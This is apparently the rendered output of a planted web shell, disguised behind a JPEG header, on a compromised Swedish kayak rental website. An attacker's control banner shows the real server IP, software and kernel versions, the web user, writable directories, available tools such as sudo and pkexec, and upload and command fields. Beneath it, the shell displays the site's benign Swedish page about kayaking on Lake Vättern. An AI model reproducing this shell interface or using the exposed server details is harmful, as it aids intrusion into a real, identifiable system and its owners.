????JFIF??x?x????'403WebShell
403Webshell
Server IP : 79.136.114.73  /  Your IP : 18.191.240.94
Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f
System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64
User : www-data ( 33)
PHP Version : 5.5.9-1ubuntu4.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/www.biminfo.se/vatternkajak.se/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/www.biminfo.se/vatternkajak.se/kajaking.php
<link href="main.css" rel="stylesheet" type="text/css">
<img src="images/botten_linje.jpg" width="947" height="21">
<br>
<table width="942" border="0" cellspacing="0" cellpadding="0">
  <tr>
    <td><table width="942" border="0" cellspacing="0" cellpadding="0">
      <tr>
        <td width="20" rowspan="4">&nbsp;</td>
        <td width="237" height="400" valign="top">
          <img src="images/menylinje.jpg" width="234" height="17"><br>          
          <table width="217" border="0" align="center" cellpadding="0" cellspacing="0">
            <tr>
              <td class="storrubrik">G&aring; till avsnitt:</td>
            </tr>
            <tr>
              <td height="21">&nbsp;</td>
            </tr>
            <tr>
              <td height="40" ><a href="#1" class="blacklink">- &Auml;r det h&auml;r n&aring;got f&ouml;r mig?  </a><br></td>
            </tr>
            <tr>
              <td height="40" ><a href="#2" class="blacklink">- V&aring;gar jag? </a><br></td>
            </tr>
            <tr>
              <td height="55" ><a href="#3" class="blacklink">- Hur mycket grejer f&aring;r jag rum med i &nbsp;&nbsp;kajaken? </a><br></td>
            </tr>
            <tr>
              <td height="40" ><a href="#4" class="blacklink">-Men v&auml;dret d&aring;! </a><br></td>
            </tr>
            <tr>
              <td height="40" ><a href="#5" class="blacklink">-Om V&auml;ttern</a><br></td>
            </tr>
            <tr>
              <td height="38" ><a href="#6" class="blacklink">- Kajaken har sina f&ouml;rdelar f&ouml;r alla &nbsp;&nbsp;typer av m&auml;nniskor. </a></td>
            </tr>
          </table>          <p><img src="images/menylinje.jpg" width="234" height="17"> </p>          </td>
        <td width="54" rowspan="4">&nbsp;</td>
        <td colspan="3" rowspan="4" valign="top"><p><span class="storrubrik">&Auml;r det h&auml;r n&aring;got f&ouml;r mig? </span>
              <a name="1"></a><br>
              <br>
              <span class="text">Kajakpaddling kan vara s&aring; m&aring;nga olika saker, och det &auml;r en del av det fantastiska med denna syssels&auml;ttning. 
    Alla m&ouml;jligheterna. Man kan paddla l&aring;ngt och l&auml;nge, eller man kan stanna hela dagen p&aring; en vacker &ouml; eller 
    strand, strosa runt, l&auml;sa en bok. Eller bara ta kajaken p&aring; en kort sv&auml;ng och komma tillbaka ett par timmar senare. 
    Det &auml;r olika sorts njutningar och man kan variera dessa i det o&auml;ndliga. &Auml;r vi ett stort g&auml;ng som vill umg&aring;s eller 
    n&ouml;jer jag mig med mitt eget s&auml;llskap. Sj&auml;lva paddlingen &auml;r ofta v&auml;ldigt meditativ. Det &auml;r ett enformigt arbete 
    kroppen utf&ouml;r och tankarna kan vandra fritt d&auml;r mellan himmel och hav. Paddlingen kan ocks&aring; vara en liten 
    uppt&auml;cktsresa in i vikar som bara &auml;r tillg&auml;ngliga med hj&auml;lp av en kajak. Nya &ouml;verraskningar v&auml;ntar bakom varje 
    sten. Eller s&aring; kan det kan vara en vild lek i fr&auml;sande br&auml;nningar. <br>
    <br>
    Inget s&auml;tt &auml;r fel, inget &auml;r b&auml;ttre eller s&auml;mre &auml;n det andra, s&aring; utnyttja de m&ouml;jligheter som passar just dig. <br>
    <br>
    Visst finns det de som forsar fram s&aring; vattnet och svetten sprutar om dom jagandes n&aring;gon sekundvisare, men jag 
    anser nog att de har missat sj&auml;lva po&auml;ngen med kajakpaddlingen. Nej, vad det handlar om &auml;r att umg&aring;s med sig 
    sj&auml;lv och kanske n&aring;gra v&auml;nner p&aring; ett rofyllt s&auml;tt. Ett gemensamt drag f&ouml;r oss kajak&auml;lskare &auml;r att vi genom v&aring;ra 
    turer tankar den energi som det moderna samh&auml;llet kr&auml;ver att vi ska ha. Detta g&ouml;r vi genom att vistas i vacker 
    rofylld natur men ocks&aring; genom att v&auml;lja en niv&aring; p&aring; &auml;ventyr som passar just oss sj&auml;lva.&nbsp; </span>          
              <span class="storrubrik"><br>
              <br>
              V&aring;gar jag? <a name="2" id="2"></a><br></span>
              <span class="text"><br>
              Jag har mer &auml;n en g&aring;ng skickat iv&auml;g pension&auml;rspar som aldrig har suttit i en kajak f&ouml;rut. En halvdag och 2 mil 
      senare kommer dom tillbaka och undrar hur mycket jag ska ha f&ouml;r tv&aring; kajaker! <strong>S&aring; visst grejar du det h&auml;r! Jag lovar! </strong>
              <br>
              <br>
              Har du inte paddlat f&ouml;rut s&aring; kommer vi att instruera dig utan kostnad (tar 10 min sedan &auml;r du ig&aring;ng). <strong> Och kom ih&aring;g att inga fr&aring;gor &auml;r f&ouml;r dumma. </strong> Samtliga kajaker har stor sittbrunns&ouml;ppning = ingen risk att fastna. Flytv&auml;st &auml;r obligatoriskt och ing&aring;r alltid i hyran. 
      Det &auml;r mycket l&aring;nggrunt med fin sandbotten  d&auml;r V&auml;tternkajak &auml;r bel&auml;get. Detta g&ouml;r istigning och urstigning 
      extra l&auml;tt. Att n&aring;gon v&auml;lter &auml;r extremt ovanligt. Det lite komiska med detta &auml;r att det oftast &auml;r kvinnorna som oroar 
      sig f&ouml;r att v&auml;lta men det &auml;r just kvinnorna som f&aring;r den stadigaste resan p.g.a. deras medf&ouml;dda l&aring;ga tyngdpunkt. 
      
  Havskajakpaddling &auml;r en "torr" syssels&auml;ttning, det enda som blir bl&ouml;tt &auml;r f&ouml;tterna (vid istigning och urstigning) om 
      du inte har "Moose boots" p&aring; dig, eventuellt kan du f&aring; lite vatten p&aring; h&auml;nderna ocks&aring;. <br>
              <br>
&Auml;r du intresserad av en kurs i kajakpaddling s&aring; kan du meddela ditt intresse genom att skicka oss ett mail. 
      En eventuell kurs ges i s&aring; fall antingen i Friluftsfr&auml;mjandets eller V&auml;tternkajaks regi. Skriv ned ditt namn och 
      tele nr och ev. paddelvana. Vi h&ouml;r av oss n&auml;r det b&ouml;rjar bli dags. <br>
              <br>
              <a href="mailto:sten.motala@telia.com">Intresseanm&auml;lan: Skicka mail klicka h&auml;r </a> </span>          
              
              <br>
              <br>
              <span class="storrubrik">Hur mycket grejer f&aring;r jag rum med i kajaken?</span> <span class="text"><a name="3" id="3"></a><br>
                <br>
                Det finns ju alltid m&auml;nniskor som &auml;r extrema. N&auml;r dessa m&auml;nniskor ger sig p&aring; kajakpaddling kan de l&auml;mna 
          civilisation och vara borta i &ouml;ver en m&aring;nad. Med detta vill jag f&aring; sagt att f&ouml;r oss vanliga m&auml;nniskor &auml;r det inga 
          problem att f&aring; plats med de grejer vi beh&ouml;ver f&ouml;r att vara borta ett par timmar eller kanske en hel vecka. Ni 
          som brukar vandra vet hur mycket man f&aring;r plats med i en stor ryggs&auml;ck (100 liter). Kajaken rymmer ca det 
          dubbla. De vattent&auml;ta packutrymmena har dock en begr&auml;nsning n&auml;mligen h&aring;let d&auml;r man stoppar ned sakerna. Undvik d&auml;rf&ouml;r att ta med t ex ishockeyspel och pilsner backar. Annars &auml;r h&aring;let tillr&auml;ckligt stort f&ouml;r 
          att f&aring; ned det mesta.&nbsp; 
                <br>
                <br>
                Sj&auml;lva paddlandet i all &auml;ra men fika och matpausarna p&aring; n&aring;gon enslig strand &auml;r de sj&auml;lvklara h&ouml;jdpunkterna 
          p&aring; turen. Med andra ord, den medhavda <strong>mats&auml;cken </strong> &auml;r ett m&aring;ste. Gl&ouml;m inte det! <br>
                <br>
                Beh&ouml;ver ni hj&auml;lp med h&auml;mtning/l&auml;mning av kajakerna eller vill ni kanske ha en ledarledd tur, tveka d&aring; inte att 
          ta kontakt med oss.</span><br>
          <br>
          <span class="storrubrik">Men v&auml;dret d&aring;!</span>          
              <a name="4" id="4"></a><br>
              <span class="text"> <br>
              Man kan paddla kajak n&auml;stan alla &aring;rets dagar. Den enda begr&auml;nsningen &auml;r en "alltf&ouml;r tjock is". &Auml;r det kallt 
              och bl&aring;sigt v&auml;ljer man en insj&ouml; ( t ex Salstern) eller varf&ouml;r inte G&ouml;ta kanal. P&aring; f&ouml;tterna har man d&aring; s&aring; kallade 
              Moose boots och p&aring; h&auml;nderna speciella paddelhandskar som du l&aring;nar utan kostnad. Kajaken tar du med 
              dig p&aring; takr&auml;cket (3-4 kajaker brukar f&aring; plats). Eller s&aring; h&auml;nger du kanotsl&auml;pvagnen (ca 15 kajaker f&aring;r plats) 
              bakom bilen. Det fina med G&ouml;ta kanal &auml;r att du kan v&auml;lja riktning s&aring; att du aldrig beh&ouml;ver paddla i motvind. 
              Se bara till att n&aring;gon kan komma och h&auml;mta dig vid &auml;ndstationen. 
              
&Auml;r v&auml;derf&ouml;ruts&auml;ttningarna bra &auml;r min rekommendation att du sj&ouml;s&auml;tter direkt vid V&auml;tternkajak. D&auml;rifr&aring;n n&aring;r 
              du m&aring;nga fina utflyktsm&aring;l (se F&ouml;rslag p&aring; turer i v&auml;nster marginalen). Flera av dessa utflyktsm&aring;l kan du komma 
              till utan att beh&ouml;va paddla p&aring; ett st&ouml;rre vattendjup &auml;n 1,5 meter eller l&auml;ngre fr&aring;n land &auml;n n&aring;gra meter. Detta 
              kan vara "mentalt sk&ouml;nt" att veta f&ouml;rsta g&aring;ngen du paddlar. <br>
              <br>
              <em>Sten jakobsson </em>
              
              </span>
              <span class="storrubrik"></p>
          <p class="storrubrik">Om V&auml;ttern <a name="5" id="5"></a></p>
          <ul>
            <li class="text">Stor s&aring; att man f&aring;r intrycket av att befinna sig p&aring; <strong>havet </strong>. </li>
            <li class="text">Ett vatten s&aring; <strong>rent </strong> att du i princip kan dricka det direkt. </li>
            <li class="text">Botten ser du oftast om det inte &auml;r djupare &auml;n 10 m. Detta ger en <strong>3:e dimension </strong> i paddlandet. </li>
            <li class="text">Utanf&ouml;r Motala finns m&aring;nga fina utflyktsm&aring;l, att f&aring; en <strong>"egen sandstrand" </strong> &auml;r oftast inga problem </li>
            <li class="text">I norra V&auml;ttern har du en otroligt fin <strong>sk&auml;rg&aring;rd </strong> d&auml;r du kan f&aring; en hel &ouml; f&ouml;r dig sj&auml;lv. </li>
            <li class="text">Ombergs <strong> grottor </strong> &auml;r ett omtyckt utflyktsm&aring;l. V&aring;r kortaste kajak g&aring;r att kr&aring;ngla in i Fl&auml;skah&aring;let </li>
            <li class="text">Vill man vara lite social s&aring; finns ju alltid <strong>G&ouml;ta Kanal </strong>. </li>
          </ul>
          <span class="text">Och till sist n&aring;gra kloka ord fr&aring;n tv&aring; som redan &auml;r "fr&auml;lsta" 
          <br>
          <br>
          Jag tycker att du ska b&ouml;rja med kajaking. 
  Jag s&auml;ger inte att det &auml;r meningen med livet. 
  Men chansen finns att du kommer p&aring; en 
  medan du paddlar. 
  Dessutom &auml;r det f&ouml;rbaskat roligt. <strong> <br>
  <br>
  </strong><em>Monika Bj&ouml;rk </em></span><br>
  <br>
  <span class="storrubrik">Kajaken har sina f&ouml;rdelar f&ouml;r alla typer av m&auml;nniskor. </span>  <a name="6" id="6"></a><br><br>
          <span class="text">Den late slipper det mesta av omv&aring;rdnad och sk&ouml;tsel. Det &auml;r 
  bara att tanka mat och ge sig iv&auml;g. 
  Den nyfikne kan l&auml;tt transportera kajaken och st&auml;ndigt f&aring; 
  uppleva nya milj&ouml;er. 
  Den sn&aring;le g&ouml;r en billig investering i en utrustning som h&aring;ller 
  under l&aring;ng tid. 
  Den tr&aring;ngbodde f&ouml;rvarar sin kajak enkelt h&auml;ngande i 
  garagetaket. 
  Eremiten tar sig in i vikar dit inga andra b&aring;tar n&aring;r. 
  Muskelbyggaren f&aring;r en smidig och v&auml;ltrimmad kropp. 
  
  Alla vi andra paddlar f&ouml;r det h&ouml;ga n&ouml;jets skull. 
  Paddling &auml;r en sport f&ouml;r alla. <em><br>
  <br>
  Mikael Rosen <br>
  <br>
  <br>
  <a href="javascript:history.back(-1);"><img src="images/tillbaka_button.gif" width="97" height="27" border="0"></a><br>
  </em></span>                    
          </td>
        <td width="110" rowspan="4">&nbsp;</td>
      </tr>
      <tr>
        <td height="340" valign="top"><p><img src="images/kajaking_strand.jpg" width="235" height="176" border="1"><br>
              <span class="text"><em>Det &auml;r v&auml;ldigt l&aring;nggrunt vilket g&ouml;r istigning och urstigning extra l&auml;tt. </em></span></p>
          <p>&nbsp;</p></td>
      </tr>
      <tr>
        <td height="497" valign="top"><img src="images/kajaking_packning.jpg" width="235" height="176" border="1"><br>
          <span class="text"><em>Kajakerna rymmer mer &auml;n vad man tror. </em></span></td>
      </tr>
      <tr>
        <td valign="top"><img src="images/kajaking_kanal.jpg" width="235" height="250" border="1"><br>
          <span class="text"><em>P&aring; G&ouml;ta Kanal kan man paddla i lugn och ro och njuta av gemenskapen.</em></span></td>
      </tr>
    </table>
    <hr size="1" noshade>    </td>
  </tr>
</table>

Youez - 2016 - github.com/yon3zu
LinuXploit